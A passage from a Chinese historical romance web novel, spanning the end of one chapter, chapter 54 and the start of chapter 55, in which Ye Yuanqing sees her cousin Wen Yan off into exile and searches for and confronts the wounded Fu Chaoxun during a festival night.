叶元倾冷言道:“姨母不必与我说这些无关的话,你若是真心为邱盈好,就安安静静地回去等着,这事大的很,绑架官员之女,伙同他家人谋害,这可是死罪,若是罪行坐实了,谁都保不住她。” 叶元倾虽是体谅她爱女心切,但是同是温家人,她不至于在母亲面前说出这种难听的话来。 温然一听死罪,气焰消了很多,但是仍坐着不走,叶元倾站起了身,道:“姨母出生权势之家,应该也清楚,平常百姓在权势面前形同蝼蚁,不过一句话的事,有可能就让一个人从这个世界上消失,我想姨母定然不想出现意外。” “你。”温然一拍桌子,“你竟然威胁我。” 叶元倾没她,大步出了房间。 温然细细琢磨一番,心生恐惧,叶元倾此话不假,他们一手无缚鸡之力的平民百姓,若是真有人杀他们,当真是轻而易举的事。 她沉默下来,没敢再多言,十几年来,将军府这对母女还是头一次这般对待他们,看来事情确实挺严重的。 温容见温然安静下来,在心里不住叹气。她这个妹妹,是她从小看到大的,她们一起吃了不少继母的苦,后来嫁人了,她也没过过一天好日子,如今,寄予厚望的女儿又惹出事来,怕是日后的日子会更苦了,但是,她没有把孩子教养好,也怪不了别人。 温然t?安静思考了好一会,最后只好先离开将军府回去等着,再闹下去,对他们也不利。 叶元倾气愤不已地回了闺房,一进门就落下泪来,明明受害者是她,却还要被冷嘲热讽。 时下傅朝寻没有一点消息,她已经够着急了。 伶儿上前安慰她:“小姐您别难过,您不是不知道姨母是什么样的人,她惯会说一些难听的话,我看她也嚣张不了太久,邱盈这次做的事情确实过分。” 叶元倾擦掉眼泪坐下来,对伶儿道:“伶儿你再多安排一些人去寻找傅朝寻,一定要找到他,我真后悔让傅呈延把他带走。” “姐姐!”叶宁突然匆匆跑来。 伶儿下去安排,叶元倾拉着叶宁坐下来。 叶宁抓着她的手,心疼地道:“姐姐,我听说了昨日的事情,你现在怎么样?没事吧?温衍真是个畜生,竟然敢对姐姐动手。” 叶宁因为叶卓离开,心情一直不好,去外祖父家住了几日,结果回来就听说了这事,真是把她吓出了一身冷汗。 她知道温衍和傅朝寻之间的事情,但是她怎么也想不到温衍会如此发疯,还要害人。 说起昨日的事,叶元倾到现在都还心有余悸,现在她满心里都是昏迷不醒的傅朝寻,她安慰叶宁:“妹妹别担心,我没事。” “温衍呢?他现在被抓起来了吗?不能就这样算了。”叶宁依旧气愤,她也算是和温衍一起长大的,那个她一直觉得非常温和的人,不想会有这么可怕的一面。 说起温衍,叶元倾轻叹了口气道:“他现在被关起来了,昨日犯了病,还挨了揍,太医抢救了很久才保住了他的性命,他……” 叶元倾实在不知如何去形容他。 “那傅朝寻呢?”叶宁问,“这个时候他应该多陪陪姐姐。” “傅朝寻也受了伤,回去治疗了。” 叶宁拖着脸,叹着气,她记得不久前,他们几个人还玩的很好,他们还一起在北街看杂技,一起吃饭,怎么就闹成了这样。 现在,走的走,伤的伤,真的很难过。 “姐姐别担心,傅朝寻不会有事的。”叶宁掏出一封信递给她,“姐姐,卓哥哥给我们写信了,这是给你的,他告诉我,他马上就被册封为太子了,若是他做了太子,以后就是禹国皇帝,卓哥哥有才华又聪明,相信能做一个厉害的好皇帝。” “只是。”叶宁垂下了头,无精打采地道,“离我们好遥远啊!恐怕以后再难见到他了。” 是啊!九五之尊的皇帝,不是谁说见就能见的,即便是太子身份,以后都很很难再见。 叶元倾把信收了起来,她现在满脑子都是傅朝寻,根本就没有心情看信,她轻声说:“卓哥哥能有今天,我也挺替他开心的。妹妹你别难过,卓哥哥以后一定会来看你的。” 叶宁点点头,给叶元倾的剥了好几个橘子,又说了一会话,然后回了太师府。 叶元倾在家里焦灼不安,也不知祖母和父亲在朝堂上把事情处的如何。 直到傍晚,傅青和叶展桡等几人才回到家。 叶元恒描述了今日在朝堂的事情,叶元倾听后总算放心了一些,现在温家被查封,温衍也被带去皇宫审问。 叶元恒还说,此事牵扯众多,包括峄山附近命案一事也和温衍有关,当地郡守已经带着百姓诉状上京求一公道。 其中,还牵扯到了选秀造假一事,把余瑶和余芮也抓进了大牢,经过二人供述,上次选秀造假全是温家人指使。 且温衍加害官员子女也属于重罪,傅亲王依温衍伤害爱子之由紧抓着温家人不放,还要求皇帝一定要处决温衍。 数罪并罚,温家垮了,甚至都牵连到了太后。 这次,温家再难翻身。 转眼过了半月,皇家动作迅速地搜集了所有证据,经过多次朝堂会议,皇上给温家定了罪:温沛温沥父子贪赃枉法,制造北街纵火动乱,处以死刑。温齐温衍父子心术不正,加害官员子女,流放边疆,永世不得回京。并且没收温家所有财产和权力,查封温家大院。 圣旨一下,轰动了整个京城,一夜之间,温家这棵根深叶茂的大树轰然倒塌。 又过了两三日,一场大雪之后,天更冷了。 叶元倾红着双眼找到父亲,哽咽道:“父亲,已经很多天了,为什么没有一点傅朝寻的消息?他到底怎么样了?傅呈延到底把他带去了哪里?” 最近叶元倾消瘦了很多,整日茶不思饭不想,一点气色都没有。 叶展桡望着难过的女儿不住叹气,安慰道:“倾儿别担心,父亲已经在全城搜查了,相信很快就有他的消息。为父也后悔,那日不该让傅呈延把人带走,谁知他把人带走没有回亲王府。傅呈延这个人很神秘,平时很少出现在世人面前,尤其这几年,听闻了他不少事情,但是却很少见到他的人,所有事情都由他父亲出面,也不知在搞什么。” 前世既是如此,叶元倾与傅呈延见面的次数也不多。傅呈延这个人,说起话来很和善,但是神情举止却透着傲慢。 这样一只金丝雀,被他父亲保护的极好,也很难让人猜透心思。 连父亲都查不出一丝消息,叶元倾更加担心了:“父亲,无论如何,一定一定要找到他,傅朝寻,他真的太苦了,太苦了。” 前世苦,现在也苦,身上从来没断过伤,这样的人,老天为何就不能善待他一些呢? 叶展桡看不得女儿落泪,安抚道:“倾儿别难过了,父亲一定会竭尽所能地去找他,你也放心,他应该是脱离危险了,不然傅亲王也不会如此淡定,明日父亲上朝,再去傅亲王那里探探口风。” 叶元倾点着头。 叶展桡犹豫了一会,终是道:“倾儿,温衍明日就走了,这一走可能永生再也见不到了,你舅舅托人来告诉我,说温衍想临走前再见一见你,我看他现在的状态好了很多,也勉强保住了性命,你舅舅说他这么多日一直都在忏悔,应该也后悔了。” 后悔。 几乎用三个人的性命才换来的后悔,她希望他是真的后悔。 叶元倾沉默了一会,道:“我明日去送送他,做一个彻底的了结。” “好,明日我让元恒和元萧陪你去。” —— 院子里结了冰,雾气也比较重。 温暖的房间里,傅呈延坐在一堆书籍中,翻完最后一页书,紧皱的眉头舒展了一些。 身旁的小厮见他要起身,急忙上前扶住他,道:“公子,看了一夜,快去泡个热水澡放松放松。” 傅呈延活动了一下发酸的手腕,低眸看了一眼几乎要堆积成山的竹简,心情又糟糕起来,他叹气问:“除了这些,不会再有了吧?” 小厮也看了一眼,回道:“回公子,应该不会有了,王爷说这是他费了好大的劲才找来的,这些都是历朝历代的重要史记,里面记载了很多关于朝政事宜,王爷说您看完一定会有很大收货。” 傅呈延往门外走,嗓音略冷了一些:“还像以前一样?全部背下来,然后一字不错地背给父亲听?” 小厮点头道:“是的公子,王爷是这么交代的,不过这次时间宽裕,给了您七八日的时间。” 七八日,七八日他要背完那么多史记。 傅呈延又沉沉叹了口气,问道:“朝寻怎么样了,有没有苏醒的迹象?” 小厮回道:“回公子,太医说好多了,只是他求生的意识不太强,具体什么时候能醒来还不确定。” 求生的意识不太强。 恐怕,他也想尽快逃离这个糟糕的世界吧! “温家那边怎么样了?”傅呈延又问。 “明日温沛和温沥问斩,温齐和温衍也启程去边疆。”小厮回道。 “温衍病情怎么样?听说他差点死掉。” “对,生了一场大病,勉强抢救了过来,不过以后也不会太好,他这种病,在边疆会很艰难。” “为何没有把他父子俩一起处决,这二人的罪行也不轻。” “听说是前朝公主说请,保住了二人性命,毕竟是亲家关系,下不了狠手。” 下不了狠手。 傅呈延挑唇冷笑一声,又问:“叶元倾呢?” 小厮紧跟上他的脚步,回道:“叶元倾在疯狂地寻找傅朝寻,他父亲甚至都调用了大批士兵全城搜索,还总是去亲王府里打听。” 说起叶元倾,傅呈延眸光t?闪了闪,交代道:“你去把她和朝寻从相识到如今的所有信息都查出来给我,事无巨细,一点不要漏。” 小厮忙道:“好的公子。” 他看了一眼傅呈延的脸色,小心翼翼地问:“公子,禹国公主那边,您真的不打算上点心吗?您已经有一个月没给公主回信了,就算是为了两国关系,也不能断了联系。” 傅呈延停住脚步,瞥了一眼小厮。 小厮吓得急忙跪下来,道:“公子饶命,这是王爷让我说的,您别生气。” 傅呈延抬起腿到他身上狠狠踹了一脚,冷声道:“他让你说,你就用这种语气给我说?” 倒在地上的小厮急忙爬起身道:“公子饶命,公子饶命,小的再也不敢了。” 傅呈延冷哼一声继续往前走,想起那个粘人的公主,眸光更冷了,冷笑道:“一个乳臭未干的小丫头,每次写信都写的那么肉麻,着实无语。我不想回她,不知道回什么。” 小厮急忙跟上他,道:“好的公子,我想办法告诉王爷。” 傅呈延突然又停了下来,问道:“叶卓呢?禹国皇帝当真要封他为太子?” 小厮:“听说是这样,好像有大臣反对,迟迟都未定下来。” 傅呈延沉思一会,脸色更不好了,嘀咕一句:“真后悔玉湖游玩那日没把他杀掉。” 太阳出来了,屋檐上的冰渣子落在地上,发出清脆声响,傅呈延大步往前走,不小心踩了一脚,鞋子沾了水,他“呀”了一声,心情更加糟糕了。 他走到屋门前停下,小厮急忙掏出帕子,走上前帮他擦干净鞋子。 傅呈延推门进去,房间里一股热气扑面而来。 守在傅朝寻身边的太医急忙起身行礼。 傅呈延瞥了一眼床上的人,问:“怎么样?有点动静了吗?” 太医回道:“回公子,今早手指动了一下。” “方才还叫了一声,元倾。” 元倾! 第54章 第 54 章 “傅朝寻,你给我站住。…… 傅呈延走到床前, 坐在床边,抓起傅朝寻的手,为他把了一下脉, 收回手时无声地叹了口气。 他又掀开他腰侧的衣服, 看着他触目惊心的伤口,微微蹙起了眉头。他让下人端了温水过来,卷了卷袖子,湿了毛巾,开始为面色苍白的傅朝寻擦拭脸颊。 傅朝寻的脸和双手都是僵硬的,昏迷了半个多月,身上毫无血色, 冰冰凉凉。 鞭伤,刀伤, 箭伤,满身都是伤疤。 看着这样一个人,就连一旁的太医都心疼的眼眶发红。 世人都道,生在世家的孩子都过得如何如何好, 家里有权有钱的孩子都是如何如何悠哉,谁承想, 高高在上的亲王府里,也有这样苦命的孩子。 医者心善,守着这样一个人半个多月, 每天看着他一点点丧失活下去的意志,着实心疼和无奈。 傅呈延帮傅朝寻擦完脸, 又帮他擦了手,还帮他了头发,他做完这些, 交代医师盯紧一点,然后出了房间。 医师送走他,把熬好的汤药吹凉了,一勺一勺喂傅朝寻喝下。 —— 上次傅朝寻差点被发配到边疆,这一次轮到了温衍,温衍是彻彻底底要走了,此生再也不可能回来了。 城门前,一辆马车在此停留许久,马车旁,一袭白衣飘飘的公子也在此站了许久。 他紧紧盯着城门口,连眼睛都不敢眨一下,生怕错过要送他的人。 城门前的风很大,吹得他的秀发和衣衫不住翻飞,那张本该倾国倾城的脸蛋,如今消瘦的只剩皮包骨头,眼下一片乌青,眼睛里仅有一丝期盼。 他等了又等,终于等到一辆马车驶来。 马车停在了他的跟前,他期待已久的人儿从马车上下来。 她站在他面前,日光下,她清瘦的面容让他心疼不已。 两个人面对面站着。 或许,这是他们此生最后一次相见了。 两个人相视无言,许久都未说出一句话。 风吹来,吹散了她垂在脸侧的一缕青丝。 他伸手想为她拢起,手在空中停了一瞬又收了回来。 “妹妹!对不起。” 他最真诚且最想说的一句话。 风一大就容易吹红人的眼睛。 叶元倾平复着复杂的心情,连连点了好几下头。 她接受了,接受了他的道歉。 可能泪已经流干了,心里很疼很疼,他却流不出一滴眼泪。 叶元倾从衣袖里掏出一本医书和一本手记放到他的手里,温声说:“这是关于哮喘病的医书,里面有很多症状都和你相似,还记载了如何及时有效地治疗,重要部分我都一一标记了起来,方便你看。我还记下了你这么多年犯病的时间以及时长和症状,你看一看,以后可以根据这些调整。” 这些,她从十岁起就开始记载了,他每次犯病,严不严重,多久转好,她都记得清清楚楚。 他握在手里,感觉是如此的沉重。 她是爱过他的,也付出过很多。 “妹妹!谢谢你。” 千言万语已经不重要了,愧疚,忏悔,都是他往后余生要做的事情。 她扬唇笑了,笑的苦涩,不敢去看他的眼睛,害怕里面还有不舍的温情。 虽然永生不可能回京,但她相信只要他努力,以后一定会一步一步走出边疆,迎来更好的人生。 “傅……”他难以开口,沉默了片刻,还是道:“傅朝寻因我而受伤,我向他真诚道歉,也很感谢他那日在山顶与我说的话。我也祝福你和他幸福快乐,等你们成婚的时候,一定要给我发请帖,虽然我不能回京祝福你们,但是我会发自内心的祝福你们,等以后,你们有了孩子,告诉他,他有一个表舅,叫温衍。” 温衍。 启程的时间到了,押送的官兵开始催他了。 他见她不住地点头,眼里总算有了一丝带着心疼的笑意。 抬头看了看天,晴空万里。 天晴了。 她站在原地,看着他上了马车,挥手与他道别。 也道别了他们曾经的一切,包括那份青涩的不成熟的爱情。 马车行驶了很远,又一辆马车追了过来。 “表哥。” 马车停下,他掀开帘子望去,只见一袭紫色衣衫的邱盈提着裙摆向他跑来。 “表哥。”邱盈泪流满面地跑到他跟前,哭着说:“表哥,你带妹妹走,妹妹愿意跟你去边疆。” 深爱时,那份感情是浓烈的,是可以为爱情为对方做任何事情的。 “妹妹。”他轻轻叫了一声,心疼道:“妹妹别说胡话,那种地方怎是你能待的。” 邱盈泪流满面,一把抓住他冰凉的双手,哽咽道:“表哥,我不怕,我什么都不怕,你应该知道,妹妹很早就喜欢你,虽然表哥不喜欢我,但是没关系,我不在意。我会洗衣做饭,我会刺绣缝衣,我会做很多很多事情,我也不怕吃苦,我可以照顾好你。” “傻姑娘。”他明明已经流干了眼泪,这一刻却又湿了眼眶,“哥哥怎么受得起这些。如今我一无所有,没有可留给你的东西,但是我真心希望妹妹能找一个好人家,找一个能疼你爱你的人。” 他拒绝了,怎么舍得接受呢?他已经配不上任何人了。 邱盈哭得泣不成声。 他安慰她:“别难过,这不是大不了的事情。元倾她,她没有追究你,你也要感谢她,怪我把你牵扯了进来。现在一切都过去了,我们都要好好活着,哥哥很开心,老天能让我们相识。” 回忆一路走来,他确实应该庆幸,他一直都活在明媚的阳光下。 邱盈点着头,依依不舍地看着他上了马车,挥手与他道别。 也道别了她那份藏在心底多年的爱情。 今日的天空特别特别蓝,白云就像清洗过一样,那么白,那么干净。 “ 妹妹!再见,此生再见。” —— 今天好像没有那么冷了,叶元倾紧裹着氅衣坐在回府的马车里,望着车水马龙的街道,望着为生活劳作的人们,一瞬间,她豁然开朗,似乎明白了人活着的意义是什么。 马车停在路边,她买了一份豌豆糕,咬了一口,还是那个味道。那日,傅朝寻去将军府给她带的豌豆糕,应该也是在这里买的吧!一模一样的味道。 她一口一口吃着,不知t?何时眼泪流满了脸颊。 豌豆糕好吃,但是太干了,噎得她心口一阵疼。 这个冬天快过完了,春天应该快到了。 回到府上,祖母站在院中等着她。 她随祖母进了屋,眼眶里还含着泪水。 祖母抓起她冰凉的手,帮她暖着,瞧着她憔悴的面容,心里也难过不已,她温声道:“倾儿,人生既是如此,感情既是如此。人这一生只为两种东西而活,感情和生活。你自幼就未过过那种穷苦的日子,是不懂那种日夜忙碌为讨一口饭吃的人生,那个时候,活命是重要的,感情都算不上什么。世上所有人都在努力地活着,就是希望有一天,能够有安稳幸福的生活和一份真挚的感情。年少轻狂时总是留有遗憾,等到年纪大了,回顾一生,到时候你会怀念曾经经历的一切。” “祖母知道你喜欢傅朝寻,为他担忧的茶不思饭不想,但是倾儿,只有内心强大了才能抵挡一切暴风雨。你明知他是什么样的人,又是什么样的处境,却还是不顾一切地选择了他,无论以后结局如何,你都要坦然接受。” 她沉沉叹气,又道:“后面等着你的,可能是更加强烈的狂风暴雨,你要有心准备,还要想好要不要踏上这条危险之路,你面前的路口很多,现在重新选一条路还来的及,你回去好好想想。” “祖母,不用再想。”叶元倾立即道,“我已经选择好了,无论前路如何,我都不会回头。我和傅朝寻……” “我和傅朝寻,一定会等来我们的春天。” 糟糕的七年都熬过去了,还怕什么。 傅青审视她,见她如此坚定,既心疼,又激动,这孩子,有自己的性格,不畏惧这凶残的朝代,相信以后一定会争取到自己想要的幸福。 冬天的雪好像下完了,最近的天气总是晴朗朗的。 引狼入室,自招祸灾,短短一个多月,恶人已经开始向叶家攻击。 刚入督稽司不久的姜叙凭着在吏部的身份和国舅爷的后台,开始在督稽司里拉帮结派,分散人心,还多次挑衅叶元萧,试图夺取权利全权掌管督稽司。 原本同出师门的好兄弟,成了攘权夺利的敌人。 叶元萧为此愤恨不已,郁郁寡欢,整个人都瘦了一大圈。 朝堂上,依太傅大人为首的几位官员,多次弹劾太师大人叶展连,借由叶绍接管京北码头管不当,夸大其词,颠倒黑白,请求皇上收走叶绍手中权利,把京北码头交于他人掌管。 一切的一切就像前世一样开始重演。 这日,叶元倾去督稽司给叶元萧送饺子,路过一个交叉路口时,微风吹起车帘子,她无意间看到一个熟悉的身影。 她心中激动,慌忙下车,她站在路口,站在人群中,却怎么也找不到那道熟悉的身影。 她穿梭在人群中,开始焦急地寻找,嘴里喊着:“傅朝寻,傅朝寻。” 傅朝寻。 她找了又找,从街头找到街尾,从这一条街,找到另一条街,却怎么也找不到他。 她没有看错,她明明就没有看错,那就是傅朝寻,怎么就不见了呢? “傅朝寻,傅朝寻。”她在人群中一声声喊着,始终不见有人回应。 傅朝寻,你在哪里? 为何一直找不到你? 你还记得元倾吗? 叶元倾望着来来往往的人群,那一张张陌生的脸庞,却没有一张是她的傅朝寻。 她无措地蹲在路口,一边擦着眼泪,一边喊着:“傅朝寻。” 她好想他啊! 夜晚,风很凉,她又一个人默默地趴在窗前,望着院中那棵期盼着发芽的大树。 明天就是小年了,春天快到了。 “小姐。”伶儿兴冲冲地跑来,说:“小姐,侯爷他,他回来了,现在在侯府。” 回来了?傅朝寻回来了? 叶元倾激动地站起,话也不说就向院外跑。 伶儿急忙去追她,在身后喊:“小姐您慢着,我去叫大公子,让他跟着您去。” 叶元倾脚下生风地跑出了院门,让管家找来了马车。 外衣还未穿好的叶元恒慌慌张张地追出来,嘴里喊着:“你慌什么,慌什么,大晚上不怕有危险?” 叶元倾催他一声:“你快点。” 叶元恒一边跑一边无奈道:“哥哥遇到危险的时候也没见你这么紧张过,不就是傅朝寻回来了,有什么好激动的,他若是想着你,应该早就来看你了。” 叶元倾上了马车,回道:“他身上有伤,不宜出门。” 她就知道她今天在街头没有看错,那一定就是傅朝寻。 叶元恒系好衣带上了马车,瞧着叶元倾激动的样子,想说她几句,但是又不忍心,最后只好问道:“妹妹日后有何打算?” 打算?叶元倾一时没有反应过来。 叶元恒道:“你和傅朝寻的爱情惊动了整个京城,比说书先生的故事还要精彩,当真是感天动地,如火如荼,现在温衍走了,你们没有了阻碍,两个人是不是该有点进展了?” 进展,是该有点进展了。 她扬唇笑了笑:“等他养好伤,我们就成婚。” 这一世,她依旧愿意嫁给傅朝寻。 甫一听成婚,叶元恒心里挺有感触的,他们这一路走来确实挺不容易,他伸手揉了揉她的脑袋,笑说:“我家妹妹长大了,要嫁人了,哥哥怎么又开心又难过。” 叶元倾挽住他的胳膊,笑呵呵地说:“哥哥难过什么,即便是出嫁了,我也是你的妹妹,是缠着你甩也甩不掉的妹妹。” 叶元恒又宠溺地揉了揉她的脑袋,道:“说实话,哥哥还挺喜欢傅朝寻的,从第一次见他就觉得他非常与众不同,除了长相好,身上好像有种魔力,让人有点害怕,又渴望接近。” 叶元倾嘿嘿一笑:“是吧!我也这么觉得,虽然他看着冷漠了一些,但是待人待事都很真诚,他这一生太苦了,没人疼,没人爱,没人解,没人体谅,有苦有难都是一个人忍着。他渴望得到一些温暖和爱,他想过平淡安稳的生活,等以后我们成婚了,我会对他很好很好,会体谅他,会解他,会让他知道,他是值得被爱的。” 叶元恒静静地看着她,昏暗的马车里,虽然看不清她的表情,但是他能感受到,她说这些话的时候,脸上是洋溢着笑容的。 她这个妹妹,有点痴情。 马车停在了宁远侯府的门前,门官迎上前来,见下车的是两位尊贵的公子小姐,笑问道:“两位可是找侯爷?” 叶元倾连连点头:“对,我们找傅朝寻。” 门官见她直呼姓名,提醒道:“这位姑娘,侯爷乃是尊贵之身,烦请以后称呼他为侯爷。” 叶元倾愣了一瞬,叶元恒冷笑一声,道:“我们是找侯爷,带我们进去。” 门官突然伸手拦住了他们,笑说:“不好意思两位,侯爷交代,任何人都不见。” 任何人都不见? 叶元倾忙道:“你去告诉他,就说叶元倾和叶元恒要见他。” 门官只是轻笑,没动身。 叶元恒皱起了眉头:“什么意思?傅朝寻这是什么意思?” 门官道:“公子莫要动气,侯爷交代任何人都不见,任何人都不见。” 叶元恒疑惑地确认:“确定侯爷傅朝寻回了府?在里面?” 门官点头:“确定,侯爷昨晚回来的。” 他昨晚就回来了,竟然没有去找她。 叶元恒火气一下子上来了,在原地走了两步,刚想开口骂人,叶元倾拉住他,问门官:“他现在伤情如何?恢复的怎么样了?身体可还好?” 门官回道:“侯爷身体很好,伤口也愈合的差不多了,可以随意走动。” “那就好。”叶元倾松了口气,“伤口才刚愈合,定是要好好静养,那我们就不打扰他了,改日再来。” 叶元恒不肯走,说:“我觉得他就是不想见,想见一个人,天上下刀子也阻挡不住。” 叶元倾拉着他上车:“大哥,天很晚了,妹妹困了,我们先回府,明日再来。” 叶元恒不情不愿地上了马车。 兄妹俩又回了将军府,一路上叶元倾都未说一句话,叶元恒气呼呼地嚷嚷了一路。 二人到了家,叶元倾回了闺房,一进屋就上了床,她用被子蒙住脑袋,话也不说一句。 伶儿帮她脱了鞋,问道:“小t?姐,您脚冰凉,要不要泡一泡?” 叶元倾不回答。 伶儿在心里叹气,怕是没见着人,难过了。 伶儿没再问,帮她掖掖被子出了房间。 叶元倾一夜未睡,翌日眼睛都肿了。 她挑了一件绣着梨花的粉色衣裳,让伶儿给她梳了一个精致的发型,还戴上了傅朝寻在西域给她买的那把簪子。 她在镜子前照了照,用了早饭,又去了侯府。 到了侯府以后,守门的还是那个门官。 叶元倾很客气地问道:“请问,侯爷今日可在府上?” 门官看到她,笑眯眯地回道:“回姑娘,在,只是侯爷今日也不想见人。” 还不见?这就有点不对劲了。 “侯爷当真在府上?”叶元倾又确认了一遍。 门官点点头,笑回道:“是的姑娘。” 叶元倾细细琢磨一番,总觉不对,难道傅朝寻受到了什么限制? 她又问道:“那他今日的身体状况如何,伤口还疼吗?有没有好好吃饭?” 门官又笑回道:“回姑娘,侯爷今日身体挺好,他说伤口没有那么疼了,饭也有好好吃。” “卫知可在府上?我能见见他吗?”叶元倾又问。 “不好意思姑娘,卫知公子他不方便见客。”门官说。 连卫知都见不了,那就更奇怪了。 叶元倾在门前站了一会,最后只好回了将军府。 她一回府,叶元恒就拦住了她,瞧着她失落的神色,蹙眉道:“你不会又没见到吧?” 叶元倾躲避着他探寻的眼神,回道:“他不在府上。” 叶元恒“哼”了一声:“你休要骗我,我打听过了,他确实回来了,伤也好的差不多了,他还去了皇宫复命。他躲着你不见,也不知到底为何。” 叶元倾没说话。 叶元恒又叹气:“今日是小年,晚上全家都会去街上看灯会,你收拾收拾心情,到时候别哭丧着一张脸。” 叶元倾勉强笑了笑,说:“大哥放心,我并没有不开心,我相信傅朝寻一定是有难言之隐才不见我。” 叶元恒知道她难过,没再多言。 到了傍晚,叶宁带着两位兄长来到将军府,大伙儿准备了很多漂亮的灯笼和一些烟花棒。 叶元恒安排了几辆马车,带着大家去京城最热闹的东街看烟花。 叶宁和叶元倾同乘一辆马车,叶宁见叶元倾总是心事重重,掏出几颗糖果放到她手里,笑道:“姐姐,心情不好的时候吃一颗糖果,嘴里甜甜的,心里也会甜甜的。” 类似的话,傅朝寻也与她说过。 叶元倾拿起一颗放进嘴里,糖果入口后很甜很甜。 叶宁歪头看了看她的神色,问道:“怎么样?是不是甜了?” 叶元倾点点头:“是的,甜了,很甜。” 可是心里还没有甜。 一行人很快到了东街,此时已经人潮拥挤,烟花四起。 人们手中拿着灯笼,和朋友,和家人,和孩子,走在街头,看着满天璀璨的夜空,笑容比天上的烟花还要灿烂。 叶元倾抬头望着绚丽的烟花,一直沉重的心情总算好了一些。 叶宁分给了她一个灯笼,拉着她跑在人群中,叶元恒,叶元萧,以及叶绍,跟在身后护着她们。 两个人开心地提着灯笼从街头跑到结尾,买了很多好吃的好玩的,还买了好看的面具。 叶元倾挑了一个狐狸面具戴在脸上,好怀念她和傅朝寻游街那晚,那晚他们也买了这样的狐狸面具,两个人戴在脸上,开开心心地玩着游戏。 那一晚,应该是他们相识以后,最开心的一晚。 “姐姐,快看,前面有个卖翅膀的,我要买。”叶宁扯了扯她的衣袖,拉着她就往前跑。 叶元倾被叶宁拉到卖翅膀的人群中,叶宁挑来挑去,选了一个漂亮的彩虹翅膀。 叶元倾挑花了眼,最后要了一个粉色的蝴蝶翅膀,店家拿给她,她接过来,转身时,一道熟悉身影突然从身边一闪而过,她蓦地愣住,反应过来后立即扒开人群去追。 他穿了一身黑衣,个头很高,走在人群中是那么的显眼。 他似乎察觉到她在追他,开始越走越快。 她激动地加快了脚步,紧紧盯着他疾走的背影。 不一会,他们拉开了一些距离。 她眼看他就要转进一个胡同里,焦急地大喊一声:“傅朝寻,你给我站住。” 第55章 第 55 章 “是,我喜欢你。”…… 夜空璀璨, 火树银花。 今晚真的很美很美,连风都小了,天也没有那么冷了。 叶元倾手里的粉色蝴蝶翅膀在人群中那么的显眼, 那么的好看。 那天在将军府后花园的小桥上, 她生平第一次给他跳了一支舞,他笑的温柔,满眼里都是浓情。 他说:“元倾,你怎么跳的那么好看呢!” 若是,她戴上这个漂亮的蝴蝶翅膀跳给他看,一定会更好看吧! “傅朝寻。” 她又叫了他一声,几乎用尽了全身力气叫了他一声, 周围人群来来往往,烟花声, 喧闹声,都不及她这一声响亮。 “傅朝寻。” 她一边喊着,一边向他跑去。 就像前世他去世那日一样,一遍遍叫着他的名字, 跌跌撞撞地跑向他。 周围的人已经看了过来,看着这个一袭粉衣的姑娘朝着一名黑衣公子狂奔而去, 口中不停地喊着“傅朝寻”。 他终于停下了,背对于她,看不到他的面容, 也看不到他的表情。 她疯了一样跑到他跟前,一把抓住他的衣袖。 他僵挺地愣住。 “傅朝寻。”她又叫了他一声, 走到他面前,抬头看向他。 是他,就是傅朝寻。 只是一眼, 只是一眼她的眼泪就立马滚落下来。 她有些慌张地又哭又笑,然后抓起他的手把他拉进了隔壁胡同里。 胡同很窄,来往人少,光线也有些昏暗。 她带着他停下,话也不说就开始撕扯他的衣服。 他僵挺着身子往后退,她追着他使劲撕,他一把抓住她的手腕,又连连后退了几步,她一步步紧追着,一只手伸进他的衣衫里,向他的腰侧摸去,他又抓住她的手腕把她的手扯了出来,她开始又急又恼地挣脱,挣得手腕生疼。 他怕抓疼了她,终是松了手,她又开始撕扯他的衣服,然后扯开了他上身的所有衣衫,接着一双手又摸向他的腰侧。 顿时,手下一大片凹凸不平的触感刺激到了她的神经,她愣在原地,心口一疼,眼泪如决堤般一涌而出。 他受了很严重很严重的伤,全是未好的伤疤。 胡同口灌着凉风,吹得他赤、裸的身子冰凉。 她帮他好衣衫,踮起脚尖,捧住他冰凉的脸颊,凝噎道:“伤还没有完全好,怎么不好好在家休息,万一着凉了怎么办?” 黑夜中有些看不清他的神情,但是能感觉到他在极力忍耐,他没有回答,拿开她的手,又往后退了几步。 她皱起眉,站在原地看着他,一双手渐渐握起了拳头。 他转身欲走,她大步冲上前,挥起拳头使劲锤在了他的胸口上,边锤边道:“想逃避吗?逃避什么?逃避就能解决问题吗?躲着就能解决问题吗?我不怕,我什么都不怕,你别把我想的那么脆弱,都是死过一次的人还怕什么?无论前路有多难走我都会义无反顾地跟着你走,若是有人真的想害我们,纵使你躲着也没有用,前世,你死后,我不是也死了吗?” “傅朝寻。”她又狠狠锤向他,“那天我们不是在侯府说好的以后任何事情都摊开了讲吗,你怎么又开始犯毛病了?因为什么?因为温衍那天差点把我推下悬崖让你怕了,还是因为傅呈延把你带走后威胁了你?若是因为这些,那你真的让我很失望。” 她的手都锤疼了,他都没动一下,仍旧不闭口不言。 泪水从眼睛滑落到唇边,就像她心里一样苦,她心痛地哽咽着:“若不是因为这些,还能因为什么?因为温衍说的那些话,因为他说我只是同情你可怜你?所以你觉得我不喜欢你,不爱你,打算从此与我断绝关系?” 她锤累了,停了手,难过地垂下头来,声音又虚又低地道:“四十二天,四十二个日夜,我每天数着时辰计算着,我每天去院门口十几回,我也会去我们经常去的巷子里站着,下着雪站着,下着雨站着,等了又等,等了又等,却怎么也t?等不到你。” “我吃不下饭,每到深夜胃都会疼,然后我就起身坐在窗前,望着院门的方向,一直望到天亮。我去了亲王府很多次,我就像个盗贼一样徘徊在附近,我被你们的管家赶了一回又一回。我让我父亲,我兄长,派人日夜不停地寻找你,从京城,到附近的各个地区,再到偏远的村庄,全部都找了一遍又一遍,可怎么也找不到你。” 她冷笑了一声,一双手无措地揪着衣服袖子,问他:“你知道这是为什么吗?你告诉我,这是为什么?” 一束烟花腾空飞起,在头顶炸开,照亮了周围的一切。 她依旧垂着头,没有在昙花一现时去探寻他的神情。 她也好累啊!也有些支撑不住了。 委屈翻滚而来时,她也赌气地想过再也不他了,永远都不他。 上辈子不是苦过一回了吗?怎么还不改呢? 可是,爱深了,谁又能控制得住呢? 她一边抽泣,一边擦着眼泪,就像一个委屈无措的孩子。 他依然僵挺地站着不说话。 风吹在挂着眼泪的脸上更凉了,但是她心里还是烧着一把火的,是傅朝寻今世点燃起的火。 他点了火却想逃跑。 他休想。 她带着满腔委屈和愤怒以及那份已经强烈的爱情,疾步走近他,然后一把按住他的胸口使劲往后推他。 她几乎使出了全身力气,推得他连连后退,然后贴在了墙壁上。 他任凭她发了疯一样推他。 